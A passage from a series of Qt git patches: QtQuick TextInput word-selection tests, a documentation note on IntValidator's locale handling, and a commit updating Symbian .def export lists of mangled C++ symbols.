    +            << 9 << 15
    +            << 3 << 15;
    +    QTest::newRow("{t^he  fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 1
    +            << 4 << 15
    +            << 0 << 9;
    +    QTest::newRow("{t^he  fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 1
    +            << 9 << 15
    +            << 0 << 15;
    +
    +    QTest::newRow("{, w^orld}!|ltr")
    +            << standard[2]
    +            << 2 << 4 << 8
    +            << 0 << 5
    +            << 0 << 12;
    +    QTest::newRow("{, w^orld}!|rtl")
    +            << standard[2]
    +            << 4 << 2 << 8
    +            << 0 << 5
    +            << 0 << 12;
    +
    +    QTest::newRow("!{dlro^w ,}|ltr")
    +            << standard[3]
    +            << 9 << 11 << 5
    +            << 8 << 13
    +            << 1 << 13;
    +    QTest::newRow("!{dlro^w ,}|rtl")
    +            << standard[3]
    +            << 11 << 9 << 5
    +            << 8 << 13
    +            << 1 << 13;
    +}
    +
    +void tst_qdeclarativetextinput::moveCursorSelectionSequence()
    +{
    +    QFETCH(QString, testStr);
    +    QFETCH(int, cursorPosition);
    +    QFETCH(int, movePosition1);
    +    QFETCH(int, movePosition2);
    +    QFETCH(int, selection1Start);
    +    QFETCH(int, selection1End);
    +    QFETCH(int, selection2Start);
    +    QFETCH(int, selection2End);
    +
    +    QString componentStr = "import QtQuick 1.1\nTextInput {  text: \""+ testStr +"\"; }";
    +    QDeclarativeComponent textinputComponent(&engine);
    +    textinputComponent.setData(componentStr.toLatin1(), QUrl());
    +    QDeclarativeTextInput *textinputObject = qobject_cast(textinputComponent.create());
    +    QVERIFY(textinputObject != 0);
    +
    +    textinputObject->setCursorPosition(cursorPosition);
    +
    +    textinputObject->moveCursorSelection(movePosition1, QDeclarativeTextInput::SelectWords);
    +    QCOMPARE(textinputObject->selectedText(), testStr.mid(selection1Start, selection1End - selection1Start));
    +    QCOMPARE(textinputObject->selectionStart(), selection1Start);
    +    QCOMPARE(textinputObject->selectionEnd(), selection1End);
    +
    +    textinputObject->moveCursorSelection(movePosition2, QDeclarativeTextInput::SelectWords);
    +    QCOMPARE(textinputObject->selectedText(), testStr.mid(selection2Start, selection2End - selection2Start));
    +    QCOMPARE(textinputObject->selectionStart(), selection2Start);
    +    QCOMPARE(textinputObject->selectionEnd(), selection2End);
    +}
    +
     void tst_qdeclarativetextinput::dragMouseSelection()
     {
         QString qmlfile = SRCDIR "/data/mouseselection_true.qml";
    @@ -626,6 +811,55 @@ void tst_qdeclarativetextinput::dragMouseSelection()
         delete canvas;
     }
     
    +void tst_qdeclarativetextinput::mouseSelectionMode_data()
    +{
    +    QTest::addColumn("qmlfile");
    +    QTest::addColumn("selectWords");
    +
    +    // import installed
    +    QTest::newRow("SelectWords") << SRCDIR "/data/mouseselectionmode_words.qml" << true;
    +    QTest::newRow("SelectCharacters") << SRCDIR "/data/mouseselectionmode_characters.qml" << false;
    +    QTest::newRow("default") << SRCDIR "/data/mouseselectionmode_default.qml" << false;
    +}
    +
    +void tst_qdeclarativetextinput::mouseSelectionMode()
    +{
    +    QFETCH(QString, qmlfile);
    +    QFETCH(bool, selectWords);
    +
    +    QString text = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    +
    +    QDeclarativeView *canvas = createView(qmlfile);
    +
    +    canvas->show();
    +    QApplication::setActiveWindow(canvas);
    +    QTest::qWaitForWindowShown(canvas);
    +    QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas));
    +
    +    QVERIFY(canvas->rootObject() != 0);
    +    QDeclarativeTextInput *textInputObject = qobject_cast(canvas->rootObject());
    +    QVERIFY(textInputObject != 0);
    +
    +    // press-and-drag-and-release from x1 to x2
    +    int x1 = 10;
    +    int x2 = 70;
    +    int y = textInputObject->height()/2;
    +    QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
    +    //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work
    +    QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
    +    QApplication::sendEvent(canvas->viewport(), &mv);
    +    QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
    +    QString str = textInputObject->selectedText();
    +    if (selectWords) {
    +        QCOMPARE(str, text);
    +    } else {
    +        QVERIFY(str.length() > 3);
    +        QVERIFY(str != text);
    +    }
    +
    +    delete canvas;
    +}
    +
     void tst_qdeclarativetextinput::horizontalAlignment_data()
     {
         QTest::addColumn("hAlign");
    -- 
    cgit v0.12
    
    
    From fc7f72b663ec934d2d7e41645cb3ca94b96ae6d6 Mon Sep 17 00:00:00 2001
    From: Andrew den Exter 
    Date: Tue, 1 Feb 2011 11:23:53 +1000
    Subject: Clarify that IntValidator performs locale specific validation.
    
    Task-number: QTBUG-16873
    Reviewed-by: Martin Jones
    ---
     src/declarative/graphicsitems/qdeclarativetextinput.cpp | 5 +++++
     1 file changed, 5 insertions(+)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    index 9e62291..012d408 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    @@ -613,6 +613,11 @@ void QDeclarativeTextInput::setAutoScroll(bool b)
         \ingroup qml-basic-visual-elements
     
         This element provides a validator for integer values.
    +
    +    IntValidator uses the \l {QLocale::setDefault()}{default locale} to interpret the number and
    +    will accept locale specific digits, group separators, and positive and negative signs.  In
    +    addition, IntValidator is always guaranteed to accept a number formatted according to the "C"
    +    locale.
     */
     /*!
         \qmlproperty int IntValidator::top
    -- 
    cgit v0.12
    
    
    From c7c2036d6f5136dd2dd000258f0e49cd155fe072 Mon Sep 17 00:00:00 2001
    From: juhvu 
    Date: Tue, 1 Feb 2011 11:58:37 +1000
    Subject: Froze Symbian def files for QtQuick11.
    
    Reviewed-by: Martin Jones
    ---
     src/s60installs/bwins/QtCoreu.def        |   2 +
     src/s60installs/bwins/QtDeclarativeu.def | 119 +++++++++++++++++++---------
     src/s60installs/bwins/QtGuiu.def         |  40 ++++++++++
     src/s60installs/bwins/QtScriptu.def      |   2 +
     src/s60installs/eabi/QtCoreu.def         |   2 +
     src/s60installs/eabi/QtDeclarativeu.def  | 128 ++++++++++++++++++++-----------
     src/s60installs/eabi/QtGuiu.def          |  35 +++++++++
     src/s60installs/eabi/QtScriptu.def       |   2 +
     tools/qml/qdeclarativetester.cpp         |   5 ++
     9 files changed, 251 insertions(+), 84 deletions(-)
    
    diff --git a/src/s60installs/bwins/QtCoreu.def b/src/s60installs/bwins/QtCoreu.def
    index 872142d..b82f6e5 100644
    --- a/src/s60installs/bwins/QtCoreu.def
    +++ b/src/s60installs/bwins/QtCoreu.def
    @@ -4487,4 +4487,6 @@ EXPORTS
     	?queueDeferredActiveObjectsCompletion@QEventDispatcherSymbian@@QAEXXZ @ 4486 NONAME ; void QEventDispatcherSymbian::queueDeferredActiveObjectsCompletion(void)
     	?reactivateDeferredActiveObjects@QEventDispatcherSymbian@@UAEXXZ @ 4487 NONAME ; void QEventDispatcherSymbian::reactivateDeferredActiveObjects(void)
     	?symbianCommandLine@QCoreApplicationPrivate@@SAPAVCApaCommandLine@@XZ @ 4488 NONAME ; class CApaCommandLine * QCoreApplicationPrivate::symbianCommandLine(void)
    +	?revision@QMetaProperty@@QBEHXZ @ 4489 NONAME ; int QMetaProperty::revision(void) const
    +	?revision@QMetaMethod@@QBEHXZ @ 4490 NONAME ; int QMetaMethod::revision(void) const
     
    diff --git a/src/s60installs/bwins/QtDeclarativeu.def b/src/s60installs/bwins/QtDeclarativeu.def
    index 9e88df7..a287def 100644
    --- a/src/s60installs/bwins/QtDeclarativeu.def
    +++ b/src/s60installs/bwins/QtDeclarativeu.def
    @@ -52,7 +52,7 @@ EXPORTS
     	?isDesignable@QMetaPropertyBuilder@@QBE_NXZ @ 51 NONAME ABSENT ; bool QMetaPropertyBuilder::isDesignable(void) const
     	?tr@QDeclarativeStateGroup@@SA?AVQString@@PBD0H@Z @ 52 NONAME ; class QString QDeclarativeStateGroup::tr(char const *, char const *, int)
     	?errors@QDeclarativeView@@QBE?AV?$QList@VQDeclarativeError@@@@XZ @ 53 NONAME ; class QList QDeclarativeView::errors(void) const
    -	??0QPacket@@QAE@ABV0@@Z @ 54 NONAME ABSENT ; QPacket::QPacket(class QPacket const &)
    +	??0QPacket@@QAE@ABV0@@Z @ 54 NONAME ; QPacket::QPacket(class QPacket const &)
     	??1QDeclarativeDebugObjectExpressionWatch@@UAE@XZ @ 55 NONAME ABSENT ; QDeclarativeDebugObjectExpressionWatch::~QDeclarativeDebugObjectExpressionWatch(void)
     	?status@QDeclarativePixmap@@QBE?AW4Status@1@XZ @ 56 NONAME ; enum QDeclarativePixmap::Status QDeclarativePixmap::status(void) const
     	?bottom@QDeclarativeAnchors@@QBE?AVQDeclarativeAnchorLine@@XZ @ 57 NONAME ABSENT ; class QDeclarativeAnchorLine QDeclarativeAnchors::bottom(void) const
    @@ -69,7 +69,7 @@ EXPORTS
     	??0Variant@QDeclarativeParser@@QAE@ABVQString@@@Z @ 68 NONAME ; QDeclarativeParser::Variant::Variant(class QString const &)
     	?paintedSizeChanged@QDeclarativeText@@IAEXXZ @ 69 NONAME ABSENT ; void QDeclarativeText::paintedSizeChanged(void)
     	??1QDeclarativeDebugClient@@UAE@XZ @ 70 NONAME ABSENT ; QDeclarativeDebugClient::~QDeclarativeDebugClient(void)
    -	?trUtf8@QPacketProtocol@@SA?AVQString@@PBD0@Z @ 71 NONAME ABSENT ; class QString QPacketProtocol::trUtf8(char const *, char const *)
    +	?trUtf8@QPacketProtocol@@SA?AVQString@@PBD0@Z @ 71 NONAME ; class QString QPacketProtocol::trUtf8(char const *, char const *)
     	?trUtf8@QDeclarativeListModel@@SA?AVQString@@PBD0@Z @ 72 NONAME ABSENT ; class QString QDeclarativeListModel::trUtf8(char const *, char const *)
     	?qt_metacast@QDeclarativeState@@UAEPAXPBD@Z @ 73 NONAME ; void * QDeclarativeState::qt_metacast(char const *)
     	??1QDeclarativeDebugContextReference@@QAE@XZ @ 74 NONAME ABSENT ; QDeclarativeDebugContextReference::~QDeclarativeDebugContextReference(void)
    @@ -126,7 +126,7 @@ EXPORTS
     	?addToObject@QDeclarativeAbstractBinding@@QAEXPAVQObject@@@Z @ 125 NONAME ABSENT ; void QDeclarativeAbstractBinding::addToObject(class QObject *)
     	?trUtf8@QDeclarativeView@@SA?AVQString@@PBD0H@Z @ 126 NONAME ; class QString QDeclarativeView::trUtf8(char const *, char const *, int)
     	?d_func@QDeclarativeAnchors@@AAEPAVQDeclarativeAnchorsPrivate@@XZ @ 127 NONAME ABSENT ; class QDeclarativeAnchorsPrivate * QDeclarativeAnchors::d_func(void)
    -	??1QPacket@@UAE@XZ @ 128 NONAME ABSENT ; QPacket::~QPacket(void)
    +	??1QPacket@@UAE@XZ @ 128 NONAME ; QPacket::~QPacket(void)
     	?top@QDeclarativeScaleGrid@@QBEHXZ @ 129 NONAME ABSENT ; int QDeclarativeScaleGrid::top(void) const
     	?setExpression@QDeclarativeExpression@@QAEXABVQString@@@Z @ 130 NONAME ; void QDeclarativeExpression::setExpression(class QString const &)
     	??1QDeclarativeDebugEngineReference@@QAE@XZ @ 131 NONAME ABSENT ; QDeclarativeDebugEngineReference::~QDeclarativeDebugEngineReference(void)
    @@ -252,7 +252,7 @@ EXPORTS
     	??4QDeclarativeDomValueLiteral@@QAEAAV0@ABV0@@Z @ 251 NONAME ABSENT ; class QDeclarativeDomValueLiteral & QDeclarativeDomValueLiteral::operator=(class QDeclarativeDomValueLiteral const &)
     	?setScript@QDeclarativeScriptString@@QAEXABVQString@@@Z @ 252 NONAME ; void QDeclarativeScriptString::setScript(class QString const &)
     	?requestImage@QDeclarativeImageProvider@@UAE?AVQImage@@ABVQString@@PAVQSize@@ABV4@@Z @ 253 NONAME ; class QImage QDeclarativeImageProvider::requestImage(class QString const &, class QSize *, class QSize const &)
    -	?qt_metacast@QPacketProtocol@@UAEPAXPBD@Z @ 254 NONAME ABSENT ; void * QPacketProtocol::qt_metacast(char const *)
    +	?qt_metacast@QPacketProtocol@@UAEPAXPBD@Z @ 254 NONAME ; void * QPacketProtocol::qt_metacast(char const *)
     	?addMetaObject@QMetaObjectBuilder@@QAEXPBUQMetaObject@@V?$QFlags@W4AddMember@QMetaObjectBuilder@@@@@Z @ 255 NONAME ABSENT ; void QMetaObjectBuilder::addMetaObject(struct QMetaObject const *, class QFlags)
     	?trUtf8@QDeclarativeRectangle@@SA?AVQString@@PBD0H@Z @ 256 NONAME ABSENT ; class QString QDeclarativeRectangle::trUtf8(char const *, char const *, int)
     	?qt_metacast@QDeclarativeText@@UAEPAXPBD@Z @ 257 NONAME ABSENT ; void * QDeclarativeText::qt_metacast(char const *)
    @@ -263,7 +263,7 @@ EXPORTS
     	?create@QDeclarativeType@@QBEPAVQObject@@XZ @ 262 NONAME ABSENT ; class QObject * QDeclarativeType::create(void) const
     	?metaObject@QDeclarativeDebugExpressionQuery@@UBEPBUQMetaObject@@XZ @ 263 NONAME ABSENT ; struct QMetaObject const * QDeclarativeDebugExpressionQuery::metaObject(void) const
     	?engine@QDeclarativeView@@QBEPAVQDeclarativeEngine@@XZ @ 264 NONAME ; class QDeclarativeEngine * QDeclarativeView::engine(void) const
    -	?readyRead@QPacketProtocol@@IAEXXZ @ 265 NONAME ABSENT ; void QPacketProtocol::readyRead(void)
    +	?readyRead@QPacketProtocol@@IAEXXZ @ 265 NONAME ; void QPacketProtocol::readyRead(void)
     	?qt_metacall@QDeclarativeValueType@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 266 NONAME ABSENT ; int QDeclarativeValueType::qt_metacall(enum QMetaObject::Call, int, void * *)
     	?propertyType@QDeclarativePropertyPrivate@@QBEHXZ @ 267 NONAME ABSENT ; int QDeclarativePropertyPrivate::propertyType(void) const
     	?inputMethodQuery@QDeclarativeItem@@MBE?AVQVariant@@W4InputMethodQuery@Qt@@@Z @ 268 NONAME ; class QVariant QDeclarativeItem::inputMethodQuery(enum Qt::InputMethodQuery) const
    @@ -310,7 +310,7 @@ EXPORTS
     	?setSmooth@QDeclarativeItem@@QAEX_N@Z @ 309 NONAME ; void QDeclarativeItem::setSmooth(bool)
     	?value@QDeclarativeDebugPropertyReference@@QBE?AVQVariant@@XZ @ 310 NONAME ABSENT ; class QVariant QDeclarativeDebugPropertyReference::value(void) const
     	?resources@QDeclarativeItemPrivate@@QAE?AV?$QDeclarativeListProperty@VQObject@@@@XZ @ 311 NONAME ; class QDeclarativeListProperty QDeclarativeItemPrivate::resources(void)
    -	?clear@QPacketProtocol@@QAEXXZ @ 312 NONAME ABSENT ; void QPacketProtocol::clear(void)
    +	?clear@QPacketProtocol@@QAEXXZ @ 312 NONAME ; void QPacketProtocol::clear(void)
     	?setState@QDeclarativeItemPrivate@@QAEXABVQString@@@Z @ 313 NONAME ; void QDeclarativeItemPrivate::setState(class QString const &)
     	??4QDeclarativeDebugPropertyReference@@QAEAAV0@ABV0@@Z @ 314 NONAME ABSENT ; class QDeclarativeDebugPropertyReference & QDeclarativeDebugPropertyReference::operator=(class QDeclarativeDebugPropertyReference const &)
     	?metaObject@QDeclarativeView@@UBEPBUQMetaObject@@XZ @ 315 NONAME ; struct QMetaObject const * QDeclarativeView::metaObject(void) const
    @@ -377,7 +377,7 @@ EXPORTS
     	?status@QDeclarativeView@@QBE?AW4Status@1@XZ @ 376 NONAME ; enum QDeclarativeView::Status QDeclarativeView::status(void) const
     	??0QDeclarativeEngineDebug@@QAE@PAVQDeclarativeDebugConnection@@PAVQObject@@@Z @ 377 NONAME ABSENT ; QDeclarativeEngineDebug::QDeclarativeEngineDebug(class QDeclarativeDebugConnection *, class QObject *)
     	?create@QDeclarativeComponent@@UAEPAVQObject@@PAVQDeclarativeContext@@@Z @ 378 NONAME ; class QObject * QDeclarativeComponent::create(class QDeclarativeContext *)
    -	??_EQPacket@@UAE@I@Z @ 379 NONAME ABSENT ; QPacket::~QPacket(unsigned int)
    +	??_EQPacket@@UAE@I@Z @ 379 NONAME ; QPacket::~QPacket(unsigned int)
     	?trUtf8@QDeclarativeScaleGrid@@SA?AVQString@@PBD0H@Z @ 380 NONAME ABSENT ; class QString QDeclarativeScaleGrid::trUtf8(char const *, char const *, int)
     	?isResettable@QDeclarativeProperty@@QBE_NXZ @ 381 NONAME ; bool QDeclarativeProperty::isResettable(void) const
     	?isList@QDeclarativeCustomParserProperty@@QBE_NXZ @ 382 NONAME ; bool QDeclarativeCustomParserProperty::isList(void) const
    @@ -428,7 +428,7 @@ EXPORTS
     	?line@QDeclarativeError@@QBEHXZ @ 427 NONAME ; int QDeclarativeError::line(void) const
     	?heightValid@QDeclarativeItem@@IBE_NXZ @ 428 NONAME ; bool QDeclarativeItem::heightValid(void) const
     	??1QDeclarativeOpenMetaObject@@UAE@XZ @ 429 NONAME ABSENT ; QDeclarativeOpenMetaObject::~QDeclarativeOpenMetaObject(void)
    -	??0QPacket@@QAE@XZ @ 430 NONAME ABSENT ; QPacket::QPacket(void)
    +	??0QPacket@@QAE@XZ @ 430 NONAME ; QPacket::QPacket(void)
     	?trUtf8@QDeclarativePropertyMap@@SA?AVQString@@PBD0H@Z @ 431 NONAME ; class QString QDeclarativePropertyMap::trUtf8(char const *, char const *, int)
     	?trUtf8@QDeclarativeEngine@@SA?AVQString@@PBD0H@Z @ 432 NONAME ; class QString QDeclarativeEngine::trUtf8(char const *, char const *, int)
     	??0QDeclarativeDebugEngineReference@@QAE@XZ @ 433 NONAME ABSENT ; QDeclarativeDebugEngineReference::QDeclarativeDebugEngineReference(void)
    @@ -485,7 +485,7 @@ EXPORTS
     	?staticMetaObject@QDeclarativeDebugService@@2UQMetaObject@@B @ 484 NONAME ABSENT ; struct QMetaObject const QDeclarativeDebugService::staticMetaObject
     	?topMargin@QDeclarativeAnchors@@QBEMXZ @ 485 NONAME ABSENT ; float QDeclarativeAnchors::topMargin(void) const
     	??0QDeclarativeDebugExpressionQuery@@AAE@PAVQObject@@@Z @ 486 NONAME ABSENT ; QDeclarativeDebugExpressionQuery::QDeclarativeDebugExpressionQuery(class QObject *)
    -	??0QPacket@@IAE@ABVQByteArray@@@Z @ 487 NONAME ABSENT ; QPacket::QPacket(class QByteArray const &)
    +	??0QPacket@@IAE@ABVQByteArray@@@Z @ 487 NONAME ; QPacket::QPacket(class QByteArray const &)
     	?implicitSize@QDeclarativePixmap@@QBEABVQSize@@XZ @ 488 NONAME ; class QSize const & QDeclarativePixmap::implicitSize(void) const
     	?setFlags@QMetaObjectBuilder@@QAEXV?$QFlags@W4MetaObjectFlag@QMetaObjectBuilder@@@@@Z @ 489 NONAME ABSENT ; void QMetaObjectBuilder::setFlags(class QFlags)
     	?horizontalCenterChanged@QDeclarativeAnchors@@IAEXXZ @ 490 NONAME ABSENT ; void QDeclarativeAnchors::horizontalCenterChanged(void)
    @@ -502,7 +502,7 @@ EXPORTS
     	?qmlAttachedPropertiesObject@@YAPAVQObject@@PAHPBV1@PBUQMetaObject@@_N@Z @ 501 NONAME ; class QObject * qmlAttachedPropertiesObject(int *, class QObject const *, struct QMetaObject const *, bool)
     	??_EQDeclarativeDebugClient@@UAE@I@Z @ 502 NONAME ABSENT ; QDeclarativeDebugClient::~QDeclarativeDebugClient(unsigned int)
     	??4QDeclarativeDomComponent@@QAEAAV0@ABV0@@Z @ 503 NONAME ABSENT ; class QDeclarativeDomComponent & QDeclarativeDomComponent::operator=(class QDeclarativeDomComponent const &)
    -	?tr@QPacketProtocol@@SA?AVQString@@PBD0@Z @ 504 NONAME ABSENT ; class QString QPacketProtocol::tr(char const *, char const *)
    +	?tr@QPacketProtocol@@SA?AVQString@@PBD0@Z @ 504 NONAME ; class QString QPacketProtocol::tr(char const *, char const *)
     	?setFont@QDeclarativeText@@QAEXABVQFont@@@Z @ 505 NONAME ABSENT ; void QDeclarativeText::setFont(class QFont const &)
     	?fromChanged@QDeclarativeTransition@@IAEXXZ @ 506 NONAME ; void QDeclarativeTransition::fromChanged(void)
     	?addMethod@QMetaObjectBuilder@@QAE?AVQMetaMethodBuilder@@ABVQMetaMethod@@@Z @ 507 NONAME ABSENT ; class QMetaMethodBuilder QMetaObjectBuilder::addMethod(class QMetaMethod const &)
    @@ -610,7 +610,7 @@ EXPORTS
     	??0QDeclarativeListReference@@QAE@PAVQObject@@PBDPAVQDeclarativeEngine@@@Z @ 609 NONAME ; QDeclarativeListReference::QDeclarativeListReference(class QObject *, char const *, class QDeclarativeEngine *)
     	?setData@QListModelInterface@@UAE_NHABV?$QHash@HVQVariant@@@@@Z @ 610 NONAME ABSENT ; bool QListModelInterface::setData(int, class QHash const &)
     	??0QDeclarativePen@@QAE@PAVQObject@@@Z @ 611 NONAME ABSENT ; QDeclarativePen::QDeclarativePen(class QObject *)
    -	?trUtf8@QPacketProtocol@@SA?AVQString@@PBD0H@Z @ 612 NONAME ABSENT ; class QString QPacketProtocol::trUtf8(char const *, char const *, int)
    +	?trUtf8@QPacketProtocol@@SA?AVQString@@PBD0H@Z @ 612 NONAME ; class QString QPacketProtocol::trUtf8(char const *, char const *, int)
     	?setContextObject@QDeclarativeContext@@QAEXPAVQObject@@@Z @ 613 NONAME ; void QDeclarativeContext::setContextObject(class QObject *)
     	??_EQDeclarativeState@@UAE@I@Z @ 614 NONAME ; QDeclarativeState::~QDeclarativeState(unsigned int)
     	?expression@QDeclarativeExpression@@QBE?AVQString@@XZ @ 615 NONAME ; class QString QDeclarativeExpression::expression(void) const
    @@ -668,7 +668,7 @@ EXPORTS
     	?setStdCppSet@QMetaPropertyBuilder@@QAEX_N@Z @ 667 NONAME ABSENT ; void QMetaPropertyBuilder::setStdCppSet(bool)
     	??0QDeclarativeItemPrivate@@QAE@XZ @ 668 NONAME ; QDeclarativeItemPrivate::QDeclarativeItemPrivate(void)
     	??0QDeclarativeDebugService@@QAE@ABVQString@@PAVQObject@@@Z @ 669 NONAME ABSENT ; QDeclarativeDebugService::QDeclarativeDebugService(class QString const &, class QObject *)
    -	?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@_N@Z @ 670 NONAME ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, bool)
    +	?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@_N@Z @ 670 NONAME ABSENT ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, bool)
     	??_EQPacketAutoSend@@UAE@I@Z @ 671 NONAME ABSENT ; QPacketAutoSend::~QPacketAutoSend(unsigned int)
     	?saveValueType@QDeclarativePropertyPrivate@@SA?AVQByteArray@@PBUQMetaObject@@H0H@Z @ 672 NONAME ABSENT ; class QByteArray QDeclarativePropertyPrivate::saveValueType(struct QMetaObject const *, int, struct QMetaObject const *, int)
     	?resetHeight@QDeclarativeItem@@QAEXXZ @ 673 NONAME ; void QDeclarativeItem::resetHeight(void)
    @@ -688,7 +688,7 @@ EXPORTS
     	?d_func@QDeclarativeDebugClient@@AAEPAVQDeclarativeDebugClientPrivate@@XZ @ 687 NONAME ABSENT ; class QDeclarativeDebugClientPrivate * QDeclarativeDebugClient::d_func(void)
     	??1QDeclarativeType@@AAE@XZ @ 688 NONAME ABSENT ; QDeclarativeType::~QDeclarativeType(void)
     	?colorFromString@QDeclarativeStringConverters@@YA?AVQColor@@ABVQString@@PA_N@Z @ 689 NONAME ABSENT ; class QColor QDeclarativeStringConverters::colorFromString(class QString const &, bool *)
    -	??_EQPacketProtocol@@UAE@I@Z @ 690 NONAME ABSENT ; QPacketProtocol::~QPacketProtocol(unsigned int)
    +	??_EQPacketProtocol@@UAE@I@Z @ 690 NONAME ; QPacketProtocol::~QPacketProtocol(unsigned int)
     	?tr@QDeclarativeListModel@@SA?AVQString@@PBD0@Z @ 691 NONAME ABSENT ; class QString QDeclarativeListModel::tr(char const *, char const *)
     	??0QDeclarativePixmap@@QAE@XZ @ 692 NONAME ; QDeclarativePixmap::QDeclarativePixmap(void)
     	??0QDeclarativeDebugObjectReference@@QAE@XZ @ 693 NONAME ABSENT ; QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(void)
    @@ -704,7 +704,7 @@ EXPORTS
     	??4QDeclarativeDomDocument@@QAEAAV0@ABV0@@Z @ 703 NONAME ABSENT ; class QDeclarativeDomDocument & QDeclarativeDomDocument::operator=(class QDeclarativeDomDocument const &)
     	??0QDeclarativeOpenMetaObject@@QAE@PAVQObject@@PAVQDeclarativeOpenMetaObjectType@@_N@Z @ 704 NONAME ABSENT ; QDeclarativeOpenMetaObject::QDeclarativeOpenMetaObject(class QObject *, class QDeclarativeOpenMetaObjectType *, bool)
     	?trUtf8@QDeclarativeExpression@@SA?AVQString@@PBD0@Z @ 705 NONAME ; class QString QDeclarativeExpression::trUtf8(char const *, char const *)
    -	??0QPacketProtocol@@QAE@PAVQIODevice@@PAVQObject@@@Z @ 706 NONAME ABSENT ; QPacketProtocol::QPacketProtocol(class QIODevice *, class QObject *)
    +	??0QPacketProtocol@@QAE@PAVQIODevice@@PAVQObject@@@Z @ 706 NONAME; QPacketProtocol::QPacketProtocol(class QIODevice *, class QObject *)
     	??1QDeclarativeListReference@@QAE@XZ @ 707 NONAME ; QDeclarativeListReference::~QDeclarativeListReference(void)
     	?clearError@QDeclarativeExpression@@QAEXXZ @ 708 NONAME ; void QDeclarativeExpression::clearError(void)
     	?setLineNumber@QDeclarativeDebugFileReference@@QAEXH@Z @ 709 NONAME ABSENT ; void QDeclarativeDebugFileReference::setLineNumber(int)
    @@ -757,7 +757,7 @@ EXPORTS
     	??4QDeclarativeDomValueBinding@@QAEAAV0@ABV0@@Z @ 756 NONAME ABSENT ; class QDeclarativeDomValueBinding & QDeclarativeDomValueBinding::operator=(class QDeclarativeDomValueBinding const &)
     	??0QDeclarativeExpression@@QAE@XZ @ 757 NONAME ; QDeclarativeExpression::QDeclarativeExpression(void)
     	?paint@QDeclarativeItem@@UAEXPAVQPainter@@PBVQStyleOptionGraphicsItem@@PAVQWidget@@@Z @ 758 NONAME ; void QDeclarativeItem::paint(class QPainter *, class QStyleOptionGraphicsItem const *, class QWidget *)
    -	?send@QPacketProtocol@@QAE?AVQPacketAutoSend@@XZ @ 759 NONAME ABSENT ; class QPacketAutoSend QPacketProtocol::send(void)
    +	?send@QPacketProtocol@@QAE?AVQPacketAutoSend@@XZ @ 759 NONAME ; class QPacketAutoSend QPacketProtocol::send(void)
     	?countChanged@QDeclarativeListModel@@IAEXXZ @ 760 NONAME ABSENT ; void QDeclarativeListModel::countChanged(void)
     	??0QDeclarativeGridScaledImage@@QAE@PAVQIODevice@@@Z @ 761 NONAME ABSENT ; QDeclarativeGridScaledImage::QDeclarativeGridScaledImage(class QIODevice *)
     	??_EQDeclarativeBinding@@UAE@I@Z @ 762 NONAME ABSENT ; QDeclarativeBinding::~QDeclarativeBinding(unsigned int)
    @@ -776,7 +776,7 @@ EXPORTS
     	?hasNotifySignal@QDeclarativeProperty@@QBE_NXZ @ 775 NONAME ; bool QDeclarativeProperty::hasNotifySignal(void) const
     	?create@QDeclarativeType@@QBEXPAPAVQObject@@PAPAXI@Z @ 776 NONAME ABSENT ; void QDeclarativeType::create(class QObject * *, void * *, unsigned int) const
     	?reversible@QDeclarativeTransition@@QBE_NXZ @ 777 NONAME ; bool QDeclarativeTransition::reversible(void) const
    -	?invalidPacket@QPacketProtocol@@IAEXXZ @ 778 NONAME ABSENT ; void QPacketProtocol::invalidPacket(void)
    +	?invalidPacket@QPacketProtocol@@IAEXXZ @ 778 NONAME ; void QPacketProtocol::invalidPacket(void)
     	??0QDeclarativeDebugObjectReference@@QAE@H@Z @ 779 NONAME ABSENT ; QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(int)
     	?superClass@QMetaObjectBuilder@@QBEPBUQMetaObject@@XZ @ 780 NONAME ABSENT ; struct QMetaObject const * QMetaObjectBuilder::superClass(void) const
     	?isValid@QDeclarativeListReference@@QBE_NXZ @ 781 NONAME ; bool QDeclarativeListReference::isValid(void) const
    @@ -813,7 +813,7 @@ EXPORTS
     	??_EQDeclarativeDebugQuery@@UAE@I@Z @ 812 NONAME ABSENT ; QDeclarativeDebugQuery::~QDeclarativeDebugQuery(unsigned int)
     	?update@QDeclarativeAbstractBinding@@QAEXXZ @ 813 NONAME ABSENT ; void QDeclarativeAbstractBinding::update(void)
     	?tr@QDeclarativeBehavior@@SA?AVQString@@PBD0H@Z @ 814 NONAME ABSENT ; class QString QDeclarativeBehavior::tr(char const *, char const *, int)
    -	?read@QPacketProtocol@@QAE?AVQPacket@@XZ @ 815 NONAME ABSENT ; class QPacket QPacketProtocol::read(void)
    +	?read@QPacketProtocol@@QAE?AVQPacket@@XZ @ 815 NONAME ; class QPacket QPacketProtocol::read(void)
     	?setParentItem@QDeclarativeItem@@QAEXPAV1@@Z @ 816 NONAME ; void QDeclarativeItem::setParentItem(class QDeclarativeItem *)
     	?qmlAttachedProperties@QDeclarativeComponent@@SAPAVQDeclarativeComponentAttached@@PAVQObject@@@Z @ 817 NONAME ; class QDeclarativeComponentAttached * QDeclarativeComponent::qmlAttachedProperties(class QObject *)
     	??0QDeclarativeView@@QAE@ABVQUrl@@PAVQWidget@@@Z @ 818 NONAME ; QDeclarativeView::QDeclarativeView(class QUrl const &, class QWidget *)
    @@ -821,7 +821,7 @@ EXPORTS
